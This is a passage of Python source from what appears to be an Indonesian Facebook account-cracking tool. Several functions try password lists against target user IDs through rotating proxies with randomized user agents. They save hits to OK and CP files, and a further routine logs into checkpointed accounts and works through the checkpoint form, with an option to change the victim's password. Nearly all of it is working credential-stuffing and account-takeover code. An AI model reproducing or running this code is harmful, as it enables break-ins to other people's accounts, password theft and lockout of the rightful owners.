  1444.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1445.             p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv3.0%2Fdialog%2Foauth%3Fclient_id%3D467800444454528%26redirect_uri%3Dhttps%253A%252F%252Fwww.liputan6.com%252Fauth%252Ffacebook%252Fsuccess%26scope%3Demail%252Cpublic_profile%26response_type%3Dcode%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db78216ec-dd49-4eb7-b6b0-66f9360680a4%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.liputan6.com%2Fauth%2Ffacebook%2Fsuccess%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1446.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=467800444454528&kid_directed_site=0&app_id=467800444454528&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv3.0%2Fdialog%2Foauth%3Fclient_id%3D467800444454528%26redirect_uri%3Dhttps%253A%252F%252Fwww.liputan6.com%252Fauth%252Ffacebook%252Fsuccess%26scope%3Demail%252Cpublic_profile%26response_type%3Dcode%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db78216ec-dd49-4eb7-b6b0-66f9360680a4%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.liputan6.com%2Fauth%2Ffacebook%2Fsuccess%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
  1447.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1448.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1449.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv3.0%2Fdialog%2Foauth%3Fclient_id%3D467800444454528%26redirect_uri%3Dhttps%253A%252F%252Fwww.liputan6.com%252Fauth%252Ffacebook%252Fsuccess%26scope%3Demail%252Cpublic_profile%26response_type%3Dcode%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db78216ec-dd49-4eb7-b6b0-66f9360680a4%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.liputan6.com%2Fauth%2Ffacebook%2Fsuccess%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1450.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1451.             if "checkpoint" in po.cookies.get_dict().keys():
  1452.                 tree = Tree(f" ")
  1453.                 tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
  1454.                 cetak(tree)
  1455.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1456.                 akun.append(idf+'|'+pw)
  1457.                 cp+=1
  1458.                 break
  1459.             elif "c_user" in ses.cookies.get_dict().keys():
  1460.                 ok+=1
  1461.                 coki=po.cookies.get_dict()
  1462.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1463.                 tree = Tree(f"  ")
  1464.                 tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
  1465.                 cetak(tree)
  1466.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1467.                 cek_apk(session,coki)
  1468.                 break
  1469.                
  1470.             else:
  1471.                 continue
  1472.         except requests.exceptions.ConnectionError:
  1473.             time.sleep(31)
  1474.     loop+=1
  1475. #-----------------------[ METHODE FREE ]-------------------#
  1476. def crackfree(idf,pwv):
  1477.     global loop,ok,cp
  1478.     bo = random.choice([m,k,h,b,u,x])
  1479.     ua = random.choice(ugen)
  1480.     ua2 = random.choice(ugen2)
  1481.     ses = requests.Session()
  1482.     prog.update(des,description=f"{h}B-Api{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1483.     prog.advance(des)
  1484.     for pw in pwv:
  1485.         try:
  1486.             if 'ya' in ualuh: ua = ualu[0]
  1487.             nip=random.choice(prox)
  1488.             proxs= {'http': 'socks6://'+nip}
  1489.             link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=793139305026776&kid_directed_site=0&app_id=793139305026776&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv13.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D793139305026776%26redirect_uri%3Dhttps%253A%252F%252Fmuyu2019.com%252Fwp-login.php%253FloginSocial%253Dfacebook%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%26scope%3Dpublic_profile%252Cemail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db0a1bc78-04e0-4998-b19b-3a18e7643195%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fmuyu2019.com%2Fwp-login.php%3FloginSocial%3Dfacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1490.             data = {
  1491. 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1492. 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  1493. 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
  1494. 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
  1495. 'try_number': 0,
  1496. 'unrecognized_tries': 0,
  1497. 'email':idf,
  1498. 'pass':pw,
  1499. 'login':'Masuk',
  1500. 'prefill_contact_point': '',
  1501. 'prefill_source': '',
  1502. 'prefill_type': '',
  1503. 'first_prefill_source': '',
  1504. 'first_prefill_type': '',
  1505. 'had_cp_prefilled': False,
  1506. 'had_password_prefilled': False,
  1507. 'is_smart_lock': False,
  1508. 'bi_xrwh': 0
  1509. }
  1510.             headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v16.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'ASSqfFh8929p35Kn6/R+D8OSctQbVgiX+Pxpn8s5dImzlZcynOPPu9rnz5V0PKDXfbEwqT0VshbByU46SqsrXQ==','content-length': '332','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': 'Mozilla/5.0 (Mobile; rv:48.0; A405DL) Gecko/48.0 Firefox/48.0 KAIOS/2.5','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=793139305026776&kid_directed_site=0&app_id=793139305026776&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv13.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D793139305026776%26redirect_uri%3Dhttps%253A%252F%252Fmuyu2019.com%252Fwp-login.php%253FloginSocial%253Dfacebook%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%26scope%3Dpublic_profile%252Cemail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db0a1bc78-04e0-4998-b19b-3a18e7643195%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fmuyu2019.com%2Fwp-login.php%3FloginSocial%3Dfacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
  1511.             po = ses.post('https://developers.facebook.com/login/device-based/regular/login/?api_key=793139305026776&auth_token=0b6ec682004f184c19b735a0633758a7&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv13.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D793139305026776%26redirect_uri%3Dhttps%253A%252F%252Fmuyu2019.com%252Fwp-login.php%253FloginSocial%253Dfacebook%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%26scope%3Dpublic_profile%252Cemail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db0a1bc78-04e0-4998-b19b-3a18e7643195%26tp%3Dunspecified&refsrc=deprecated&app_id=793139305026776&cancel=https%3A%2F%2Fmuyu2019.com%2Fwp-login.php%3FloginSocial%3Dfacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%23_%3D_&lwv=100&locale2=id_ID&refid=9',data=data,headers=headers,allow_redirects=False)
  1512.             if "checkpoint" in po.cookies.get_dict().keys():
  1513.                 tree = Tree(f" ")
  1514.                 tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
  1515.                 cetak(tree)
  1516.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1517.                 akun.append(idf+'|'+pw)
  1518.                 cp+=1
  1519.                 break
  1520.             elif "c_user" in ses.cookies.get_dict().keys():
  1521.                 ok+=1
  1522.                 coki=po.cookies.get_dict()
  1523.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1524.                 tree = Tree(f"  ")
  1525.                 tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
  1526.                 cetak(tree)
  1527.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1528.                 cek_apk(session,coki)
  1529.                 break
  1530.                
  1531.             else:
  1532.                 continue
  1533.         except requests.exceptions.ConnectionError:
  1534.             time.sleep(31)
  1535.     loop+=1
  1536. #-----------------------[ METODE TESTING V1 ]--------------------#
  1537. def crackasync(idf,pwv):
  1538.     global loop,ok,cp
  1539.     bo = random.choice([m,k,h,b,u,x])
  1540.     ua = random.choice(ugen)
  1541.     ua2 = random.choice(ugen2)
  1542.     ses = requests.Session()
  1543.     prog.update(des,description=f"{h}Async{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1544.     prog.advance(des)
  1545.     for pw in pwv:
  1546.         try:
  1547.             if 'ya' in ualuh: ua = ualu[0]
  1548.             nip=random.choice(prox)
  1549.             proxs= {'http': 'socks5://'+nip}
  1550.             ses.headers.update({"Host": "m.facebook.com","cache-control": "max-age=0","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","sec-ch-ua": '" Not A;Brand";v="99", "Chromium";v="104"',"sec-ch-ua-mobile": "?1","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","sec-fetch-user": "?1","upgrade-insecure-requests": "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1551.             p = ses.get("https://m.facebook.com/login.php?skip_api_login=1&api_key=206428089508143&kid_directed_site=0&app_id=206428089508143&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D206428089508143%26redirect_uri%3Dhttps%253A%252F%252Fwww.zalora.co.id%252Fcustomer%252Fsocialconnect%252Fendpoint%253Fhauth_done%253DFacebook%26scope%3Demail%252Cuser_birthday%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D0c67b520-a187-48a6-8125-3256fe975775%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.zalora.co.id%2Fcustomer%2Fsocialconnect%2Fendpoint%3Fhauth_done%3DFacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1552.             dataa ={'lsd': re.search('name="lsd" value="(.*?)"',str(p.text)).group(1), 'jazoest': re.search('name="jazoest" value="(.*?)"',str(p.text)).group(1), 'm_ts': re.search('name="m_ts" value="(.*?)"',str(p.text)).group(1), 'li': re.search('name="li" value="(.*?)"',str(p.text)).group(1), 'try_number': '0', 'unrecognized_tries': '0', 'email': idf, 'pass': pw, 'prefill_contact_point': '', 'prefill_source': '', 'prefill_type': '', 'first_prefill_source': '', 'first_prefill_type': '', 'had_cp_prefilled': 'false', 'had_password_prefilled': 'false', 'is_smart_lock': 'false', 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(p.text)).group(1)}
  1553.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1554.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1555.             heade={
  1556.             "Host": "m.facebook.com",
  1557.             "content-length": f"{len(str(dataa))}",
  1558.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(p.text)).group(1),
  1559.             "origin": "https://m.facebook.com",
  1560.             "content-type": "application/x-www-form-urlencoded",
  1561.             "user-agent": ua,
  1562.             "accept": "*/*",
  1563.             "x-requested-with": "com.microsoft.bing",
  1564.             "sec-ch-ua": '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
  1565.             "sec-ch-ua-platform": '"Android"',
  1566.             "sec-ch-ua-mobile": "?1",
  1567.             "sec-fetch-site": "same-origin",
  1568.             "sec-fetch-mode": "cors",
  1569.             "sec-fetch-dest": "empty",
  1570.             "sec-fetch-user": "?1",
  1571.             "referer": "https://free.facebook.com/v8.0/dialog/oauth?response_type=code%2Cgranted_scopes&client_id=1239138353201716&redirect_uri=https%3A%2F%2Fkachishop-d0c3a.firebaseapp.com%2F__%2Fauth%2Fhandler&state=AMbdmDmDaplWH_DdoV_W4QQTmWmecz1GxWXAlj2cdr_Vf_0aKRi-oWe-Z3FTiIj8pa4JD342zNeLW91aHp12LY9dOYb8tOPKOtsEllaj3JYdF79-cf8Wr-OPLhAn7Zq1LeUfJWdCxX2mAPKVYOG0CChDNxiBnmVCUG3LGCJ3sCTSc1Eb5dZseFVZe2lUqc6Yzz92V58Ki3TvYM7HjC_421qwGmMHJNi0xIaeVA917YCkm8d-wMthO_lSm3eIQPryPnbreRYgONBzhtx692MYCYA3_6dPlkm70JVkIuHGHRiJ98KokSMQRhxjZJCAp_GbKVMDXvSWm0ZtdYR5CI4UZgrB&scope=public_profile%2Cemail&display=popup&ret=login&fbapp_pres=0&logger_id=087a364c-3d69-45b4-a55b-047dae50317c&tp=unspecified",
  1572.             "accept-encoding": "gzip, deflate br",
  1573.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  1574.             }
  1575.             po = ses.post('https://m.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1576.             if "checkpoint" in po.cookies.get_dict().keys():
  1577.                 tree = Tree(f" ")
  1578.                 tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
  1579.                 cetak(tree)
  1580.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1581.                 akun.append(idf+'|'+pw)
  1582.                 cp+=1
  1583.                 break
  1584.             elif "c_user" in ses.cookies.get_dict().keys():
  1585.                 ok+=1
  1586.                 coki=po.cookies.get_dict()
  1587.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1588.                 tree = Tree(f"  ")
  1589.                 tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
  1590.                 cetak(tree)
  1591.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1592.                 cek_apk(session,coki)
  1593.                 break
  1594.                
  1595.             else:
  1596.                 continue
  1597.         except requests.exceptions.ConnectionError:
  1598.             time.sleep(31)
  1599.     loop+=1
  1600. #-----------------------[ METHOD REGULER ]--------------------#
  1601. def crackreguler(idf,pwv):
  1602.     global loop,ok,cp
  1603.     bo = random.choice([m,k,h,b,u,x])
  1604.     ua = random.choice(ugen)
  1605.     ua2 = random.choice(ugen2)
  1606.     ses = requests.Session()
  1607.     prog.update(des,description=f"{h}Reguler{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1608.     prog.advance(des)
  1609.     for pw in pwv:
  1610.         try:
  1611.             if 'ya' in ualuh: ua = ualu[0]
  1612.             nip=random.choice(prox)
  1613.             proxs= {'http': 'socks5://'+nip}
  1614.             ses.headers.update({"Host":"m.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1615.             p = ses.get('https://m.facebook.com/login/?email='+idf).text
  1616.             dataa ={
  1617. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1618. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1619. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1620. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1621. 'email':idf,
  1622. 'pass':pw
  1623. }
  1624.             ses.headers.update({'Host': 'm.facebook.com',
  1625. 'cache-control': 'max-age=0',
  1626. 'upgrade-insecure-requests': '1',
  1627. 'origin': 'https://m.facebook.com',
  1628. 'content-type': 'application/x-www-form-urlencoded',
  1629. 'user-agent': ua,
  1630. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1631. 'sec-fetch-site': 'same-origin',
  1632. 'sec-fetch-mode': 'cors',
  1633. 'sec-fetch-user': 'empty',
  1634. 'sec-fetch-dest': 'document',
  1635. 'referer': 'https://m.facebook.com/login/?email='+idf,
  1636. 'accept-encoding':'gzip, deflate br',
  1637. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1638.  
  1639.             po = ses.post('https://m.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  1640.             if "checkpoint" in po.cookies.get_dict().keys():
  1641.                 tree = Tree(f" ")
  1642.                 tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
  1643.                 cetak(tree)
  1644.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1645.                 akun.append(idf+'|'+pw)
  1646.                 cp+=1
  1647.                 break
  1648.             elif "c_user" in ses.cookies.get_dict().keys():
  1649.                 ok+=1
  1650.                 coki=po.cookies.get_dict()
  1651.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1652.                 tree = Tree(f"  ")
  1653.                 tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
  1654.                 cetak(tree)
  1655.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1656.                 cek_apk(session,coki)
  1657.                 break
  1658.                
  1659.             else:
  1660.                 continue
  1661.         except requests.exceptions.ConnectionError:
  1662.             time.sleep(31)
  1663.     loop+=1
  1664.  
  1665. #-----------------------[ DEF CEK OPSI ]--------------------#
  1666. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  1667. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  1668. from concurrent.futures import ThreadPoolExecutor
  1669. from bs4 import BeautifulSoup as parser
  1670. from threading import (Thread, Event)
  1671. from time import sleep as jeda
  1672. from datetime import datetime
  1673.  
  1674. ct = datetime.now()
  1675. n = ct.month
  1676. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  1677. try:
  1678.     if n < 0 or n > 12:
  1679.         exit()
  1680.     nTemp = n - 1
  1681. except ValueError:
  1682.     exit()
  1683.  
  1684. current = datetime.now()
  1685. hari = current.day
  1686. bulan = bulan_[nTemp]
  1687. tahun = current.year
  1688. bullan = current.month
  1689.  
  1690. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  1691. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  1692.  
  1693. M = '\x1b[1;91m' # MERAH
  1694. H = '\x1b[1;92m' # HIJAU
  1695. K = '\x1b[1;93m' # KUNING
  1696. B = '\x1b[1;94m' # BIRU
  1697. U = '\x1b[1;95m' # UNGU
  1698. O = '\x1b[1;96m' # BIRU MUDA
  1699. P = '\x1b[1;97m' # PUTIH
  1700. J = '\033[38;2;255;127;0;1m' # ORANGE
  1701. N = '\x1b[0m' # WARNA MATI
  1702. acak = [M, H, K, B, U, O, P, J]
  1703. warna = random.choice(acak)
  1704. til ="\033[0m ╰─  "
  1705.  
  1706. def jalan(keliling):
  1707.     for mau in keliling + '\n':
  1708.         sys.stdout.write(mau)
  1709.         sys.stdout.flush();jeda(0.03)
  1710.        
  1711.        
  1712. ubah_pass = []
  1713. pwbaru = []
  1714. pwBaru = []
  1715. ubahP = []
  1716.  
  1717. def file_cp():
  1718.     dirs = os.listdir('CP')
  1719.     print ("%s%s%s%s\033[0m\033[0mPilih Hasil Crack Yg Tersimpan Untuk Cek Opsi %s\n"%(U,til,O,U,O))
  1720.     for file in dirs:
  1721.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  1722.     try:
  1723.         print("\n%s%s%s\033[0mMasukan file [ CTH%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
  1724.         opsi()
  1725.     except IOError:
  1726.         print ('%s%s\033[0mFile Tidak Ada'%(M,til))
  1727.         exit()
  1728.  
  1729. def opsi():
  1730.     CP = ("CP/")
  1731.     romi = input("%s%s%s\033[0mNama file %s> %s"%(U,til,O,M,K))
  1732.     if romi == "":
  1733.         print("%s%s\033[0Misi Yang Benar "%(M,til));jeda(2)
  1734.         opsi()
  1735.     try:
  1736.         file_cp = open(CP+romi, "r").readlines()
  1737.     except IOError:
  1738.         exit("\n%s%s\033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
  1739.     jalan("%s%s%s\033[0mMode Pesawatkan Terlebih Dahulu 5 Detik "%(U,til,O))
  1740.     pw=input("\n%s%s%s\033[0mUbah Sandi Pada Akun One Tab? y/t %s> %s"%(U,til,O,M,K))
  1741.     if pw in['y','Y']:
  1742.         ubah_pass.append("ubah_sandi")
  1743.         pw2 = input("%s%s%s\033[0mMasukan Sandi %s> %s"%(U,til,O,M,K))
  1744.         if len(pw2) <= 5:
  1745.             print("%s%s Sandi Minimal 6 Karakter "%(M,til))
  1746.         else:
  1747.             pwbaru.append(pw2)
  1748.     print ("%s%s%s\033[0mTotal Akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  1749.     nomor = 0
  1750.     for fb in file_cp:
  1751.         akun = fb.replace("\n","")
  1752.         ngecek  = akun.split("|")
  1753.         nomor+=1
  1754.         print("\n%s%s.%s\033[0mLogin Akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  1755.         try:
  1756.             mengecek(ngecek[0].replace("",""), ngecek[1])
  1757.         except requests.exceptions.ConnectionError:
  1758.             continue
  1759.     print("\n%s%s%s\033[0mSelesai Mengecek Akun"%(U,til,O));jeda(0.07)
  1760.     input('%s%s%s[%s Enter%s ]'%(U,til,O,U,O))
  1761.     back()
  1762.    
  1763. data = {}
  1764. data2 = {}
  1765.  
  1766. def mengecek(user,pw):
  1767.     global loop,ubah_pass,pwbaru
  1768.     session=requests.Session()
  1769.     url = "https://m.facebook.com"
  1770.     session.headers.update({"Host":"m.facebook.com","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9","referer":"https://mbasic.facebook.com/","user-agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]"})
  1771.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1772.     link=soup.find("form",{"method":"post"})
  1773.     for x in soup("input"):
  1774.         data.update({x.get("name"):x.get("value")})
  1775.     data.update({"email":user,"pass":pw})
  1776.     urlPost=session.post(url+link.get("action"),data=data)
  1777.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1778.     if "c_user" in session.cookies.get_dict():
  1779.         if "Akun Anda Dikunci" in urlPost.text:
  1780.             print("\r%s%s\033[0m Akun Terkunci Sesi New"%(M,til))
  1781.         else:
  1782.             print("\r%s%s\033[0m Akun Tidak Checkpoint, Silahkan Anda Login "%(til,H))
  1783.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1784.     elif "checkpoint" in session.cookies.get_dict():
  1785.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1786.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1787.         link2=response.find("form",{"method":"post"})
  1788.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1789.         for x in response("input"):
  1790.             if x.get("name") in listInput:
  1791.                 data2.update({x.get("name"):x.get("value")})
  1792.         an=session.post(url+link2.get("action"),data=data2)
  1793.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1794.         cek=[cek.text for cek in response2.find_all("option")]
  1795.         number=0
  1796.         print("\r%s ╰─  %s\033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
